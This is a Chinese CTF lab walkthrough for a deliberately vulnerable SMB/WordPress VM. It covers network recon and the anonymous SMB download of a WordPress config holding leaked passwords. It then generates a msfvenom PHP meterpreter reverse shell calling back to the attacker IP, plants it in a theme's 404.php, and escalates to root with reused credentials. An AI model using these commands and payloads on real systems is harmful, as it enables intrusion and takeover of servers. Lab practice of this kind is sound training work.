[CTF训练笔记系列 - 快速导航
VMware环境下的kali linux虚拟机(本次渗透测试使用kali-linux-2020.4-vmware-amd64版本,初始用户名、密码均为:kali)
VMware环境下的SMB信息泄露虚拟机(链接: https://pan.baidu.com/s/1Wc0_nw1-kD97luSlSjeaFQ 提取码: jx1b)
攻击机与靶机桥接于同一网卡上,便于查找靶机ip地址。【同笔记(一)】
SMB(全称是Server Message Block)是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。Linux移植SMB后称之为samba。SMB协议是基于TCP-NETBIOS下的,一般端口使用为139,445。
使用sudo指令登录root权限(需输入密码:kali)
sudo -s
获取靶机ip:
在攻击机的终端中使用“ifconfig”指令获取攻击机的网络地址(此时靶机也在同一网段,因为刚才桥接在了同一网卡上),
ifconfig
利用得到的ip地址与子网掩码可构造网段:192.168.43.0/24作为参数,使用netdiscover工具搜索同一网段内所有主机(若主机较多则等待时间可能较长),
netdiscover -r 192.168.43.0/24
结果如下,其中"VMware,Inc."一行即为靶机信息,靶机ip为192.168.43.111。
使用nmap工具扫描靶机所有开放端口,
nmap -sV 192.168.43.111
//也可使用 nmap -A -v -T4 192.168.43.111 探测更详细的信息
Ⅰ.发现靶机开放了22端口的ssh服务,于是想到:
①是否有私钥泄露?
②能否找到私钥的用户名?
③束手无策时考虑暴力破解密码;
Ⅱ.发现靶机开放了80端口的http服务,于是想到:
①尝试直接用浏览器访问靶机开放了http服务的端口;
②使用dirb工具探测http的目录;
Ⅲ.发现靶机开放了139端口、445端口的SMB服务,于是想到:
①尝试使用空口令登录共享文件夹,如成功则查看并下载敏感文件;
②针对SMB协议远程溢出漏洞进行分析;
Ⅳ.发现靶机开放了3306端口的mysql服务,于是想到:
①尝试寻找可用于远程访问mysql数据库的用户名和对应密码;
Ⅴ.发现靶机开放了6667端口的irc服务,这是一个中继聊天服务,本次渗透测试中无需用到。
先查看smb服务器端所分享出来的所有资源,
smbclient -L 192.168.43.111
smbclient '\\192.168.43.111\print$'
smbclient '\\192.168.43.111\IPC$'
smbclient '\\192.168.43.111\share$'
其中,print文件夹密码为空但无访问权限,IPC文件夹密码为空可访问但无内容,share文件夹密码为空可访问且存在大量文件。
Ⅰ.敏感文件1(config配置文件):
配置文件中可能存在用户名和密码。
下载:
cd wordpress
ls
get wp-config.php
cat wp-config.php
Ⅱ.敏感文件2:
下载:
cd ..
ls
get deets.txt
cat deets.txt
Ⅲ.其他文件和文件夹内无敏感信息。
使用dirb工具探测此服务的隐藏文件,
dirb http://192.168.43.111:80/
除wordpress外无有效信息,访问http://192.168.43.111/wordpress/得
得到一个关键名字 togie!
mysql -h 192.168.43.111 -u Admin -p
输入密码:TogieMYSQL12345^^,
可惜攻击机无访问权限,另谋他法。
ssh Admin@192.168.43.111
尝试输入密码,TogieMYSQL12345^^,错误;12345,错误,无法远程访问服务器,另谋他法。
先确定smb版本,
nmap -A -v -T4 192.168.43.111
searchsploit Samba smbd 3.X - 4.X
searchsploit Samba smbd 4.3.11-Ubuntu
经过刚才的信息收集(2.4),发现该靶机服务器开放访问的网站是由WordPress程序建立的,而使用WordPress搭建的网站登录后台均为:网站域名/wp-admin,故浏览器访问:“http://192.168.43.111:80/wordpress/wp-admin/”,得:
输入用户名:"Admin"和密码:“TogieMYSQL12345^^”,登录成功!
可以使用msfvenom工具来生成反弹shell,
//lhost设置为攻击机ip,lport设置为攻击机空闲端口
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.43.94 lport=4444 -f raw
将生成的代码从注释符后开始选取并复制到某个php文件中即可。
msfconsole //打开metasploit工具的控制台
//使用msf工具的侦听模块exploit/multi/handler
msf6 > use exploit/multi/handler
//设置挂载。可用于监听基于TCP协议的反向链接反弹shell, 使用起来很稳定
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
//填入攻击机ip
msf6 exploit(multi/handler) > set lhost 192.168.43.94
//查看挂载配置
msf6 exploit(multi/handler) > show options
其中监听端口LPORT:4444为默认配置,此处监听端口配置需要与(4.1制作反弹shell)中反弹shell的php脚本中的设定一致。
//运行挂载
msf6 exploit(multi/handler) > run
上传反弹shell脚本至服务器后台,执行脚本(即访问脚本所在的php页面)。
①上传反弹shell脚本至服务器后台:
观察当前页面URL:
http://192.168.43.111/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentyfifteen&scrollto=0
可知:
当前网站的404模板文件属于twentyfifteen主题模板,而使用WordPress搭建的网站中404模板文件的位置为“wordpress/wp-content/themes/当前使用的主题模板/404.php”,故访问404.php页面的URL为:
http://192.168.43.111/wordpress/wp-content/themes/twentyfifteen/404.php
①拿到shell并进行预处理
shell
id
python -c "import pty; pty.spawn('/bin/bash')"
虽然拿到了反弹shell,但此时登录的用户不具有root权限。并且此时界面与通常的命令行格式有所不同,很不习惯,也不利于回顾之前的操作,于是需要优化终端。
②切换用户
查看本机所有用户:
cat /etc/passwd
经过审计,发现了一个熟悉的用户名——“togie”,并且发现该用户位于home目录下,遂尝试登录该用户(密码尝试使用【步骤2.3】找到的默认密码:12345)。
su togie
sudo su
Ps.有时执行“sudo su ”指令需要输入密码:12345
一般情况下,ctf比赛中包含flag的文件在root目录下。
打开proof.txt文件:
成功获取到flag!
(话说我这个靶机的flag文件和别人好像不太一样啊。。。ヾ(。 ̄□ ̄)ツ゜゜゜)